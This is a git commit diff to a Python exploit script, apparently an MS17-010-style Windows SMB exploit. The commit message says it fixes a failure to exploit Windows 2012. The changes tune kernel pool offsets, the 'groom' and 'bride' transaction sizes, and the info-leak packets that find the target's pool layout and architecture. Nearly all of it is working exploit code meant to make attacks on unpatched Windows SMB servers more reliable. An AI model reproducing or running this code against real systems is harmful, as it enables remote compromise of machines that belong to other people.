fix fail to exploit Windows 2012 because of previous commit
This commit is contained in:
@@ -67,7 +67,7 @@ to do all SMB operations.
|
|||||||
Note: fake Token might be possible, but NULL token is much easier.
|
Note: fake Token might be possible, but NULL token is much easier.
|
||||||
'''
|
'''
|
||||||
WIN7_INFO = {
|
WIN7_INFO = {
|
||||||
'SESSION_SECCTX_OFFSET': 0xa0,
|
'SESSION_SECCTX_OFFSET': 0xa0,
|
||||||
'SESSION_ISNULL_OFFSET': 0xba,
|
'SESSION_ISNULL_OFFSET': 0xba,
|
||||||
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
|
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
|
||||||
'SECCTX_SIZE': 0x28,
|
'SECCTX_SIZE': 0x28,
|
||||||
@@ -82,7 +82,7 @@ WIN7_32_INFO = {
|
|||||||
|
|
||||||
# win8+ info
|
# win8+ info
|
||||||
WIN8_INFO = {
|
WIN8_INFO = {
|
||||||
'SESSION_SECCTX_OFFSET': 0xb0,
|
'SESSION_SECCTX_OFFSET': 0xb0,
|
||||||
'SESSION_ISNULL_OFFSET': 0xca,
|
'SESSION_ISNULL_OFFSET': 0xca,
|
||||||
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
|
||||||
'SECCTX_SIZE': 0x38,
|
'SECCTX_SIZE': 0x38,
|
||||||
@@ -107,7 +107,7 @@ X86_INFO = {
|
|||||||
X64_INFO = {
|
X64_INFO = {
|
||||||
'PTR_SIZE' : 8,
|
'PTR_SIZE' : 8,
|
||||||
'PTR_FMT' : 'Q',
|
'PTR_FMT' : 'Q',
|
||||||
'FRAG_TAG_OFFSET' : 0x1c,
|
'FRAG_TAG_OFFSET' : 0x14,
|
||||||
'POOL_ALIGN' : 0x10,
|
'POOL_ALIGN' : 0x10,
|
||||||
'SRV_BUFHDR_SIZE' : 0x10,
|
'SRV_BUFHDR_SIZE' : 0x10,
|
||||||
'TRANS_SIZE' : 0xf8, # struct size
|
'TRANS_SIZE' : 0xf8, # struct size
|
||||||
@@ -139,8 +139,8 @@ def next_extra_mid():
|
|||||||
return extra_last_mid
|
return extra_last_mid
|
||||||
|
|
||||||
# Borrow 'groom' and 'bride' word from NSA tool
|
# Borrow 'groom' and 'bride' word from NSA tool
|
||||||
# GROOM_TRANS_SIZE does not include transaction name length
|
# GROOM_TRANS_SIZE includes transaction name, parameters and data
|
||||||
GROOM_TRANS_SIZE = 0x5008
|
GROOM_TRANS_SIZE = 0x5010
|
||||||
|
|
||||||
|
|
||||||
def calc_alloc_size(size, align_size):
|
def calc_alloc_size(size, align_size):
|
||||||
@@ -152,7 +152,7 @@ def leak_frag_size(conn, tid, fid, info):
|
|||||||
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
|
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
|
||||||
# From the leak info, we can determine the target architecture too.
|
# From the leak info, we can determine the target architecture too.
|
||||||
mid = conn.next_mid()
|
mid = conn.next_mid()
|
||||||
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
|
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4)
|
||||||
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
|
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
|
||||||
|
|
||||||
conn.send_raw(req1[:-8])
|
conn.send_raw(req1[:-8])
|
||||||
@@ -176,15 +176,20 @@ def leak_frag_size(conn, tid, fid, info):
|
|||||||
# Calculate frag pool size
|
# Calculate frag pool size
|
||||||
info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
|
info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
|
||||||
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
|
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
|
||||||
# groom: srv buffer header, empty transaction name (4)
|
|
||||||
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + 4 + info['POOL_ALIGN'], info['POOL_ALIGN'])
|
# groom: srv buffer header
|
||||||
|
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
|
||||||
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
|
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
|
||||||
|
# groom paramters and data is alignment by 8 because it is NT_TRANS
|
||||||
|
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'] # empty transaction name (4), alignment (4)
|
||||||
|
|
||||||
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
|
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
|
||||||
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
|
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
|
||||||
info['BRIDE_TRANS_SIZE'] = bridePoolSize - calc_alloc_size(info['SRV_BUFHDR_SIZE'] + 4 + info['POOL_ALIGN'], info['POOL_ALIGN'])
|
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
|
||||||
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
|
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
|
||||||
# adjust frag offset
|
# bride paramters and data is alignment by 4 because it is TRANS
|
||||||
info['FRAG_TAG_OFFSET'] -= info['TRANS_SIZE'] & 0xf
|
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'] # empty transaction name (4)
|
||||||
|
|
||||||
return info['FRAG_POOL_SIZE']
|
return info['FRAG_POOL_SIZE']
|
||||||
|
|
||||||
|
|
||||||
@@ -195,14 +200,14 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
|||||||
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
|
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
|
||||||
|
|
||||||
mid_ntrename = conn.next_mid()
|
mid_ntrename = conn.next_mid()
|
||||||
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-info['TRANS_SIZE'])
|
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
|
||||||
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
|
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
|
||||||
|
|
||||||
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=GROOM_TRANS_SIZE-0x1000-info['TRANS_SIZE'], maxParameterCount=0x1000)
|
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
|
||||||
reqs = []
|
reqs = []
|
||||||
for i in range(12):
|
for i in range(12):
|
||||||
mid = next_extra_mid()
|
mid = next_extra_mid()
|
||||||
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_TRANS_SIZE']-0x200-info['TRANS_SIZE'], totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
|
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
|
||||||
|
|
||||||
conn.send_raw(req1[:-8])
|
conn.send_raw(req1[:-8])
|
||||||
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
|
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
|
||||||
@@ -233,7 +238,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
|||||||
# ================================
|
# ================================
|
||||||
leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
|
leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
|
||||||
# check pool tag and size value in buffer header
|
# check pool tag and size value in buffer header
|
||||||
expected_size = pack('<H', info['BRIDE_TRANS_SIZE']+4)
|
expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
|
||||||
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
|
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
|
||||||
if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
|
if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
|
||||||
print('No transaction struct in leak data')
|
print('No transaction struct in leak data')
|
||||||
|
|||||||
Reference in New Issue
Block a user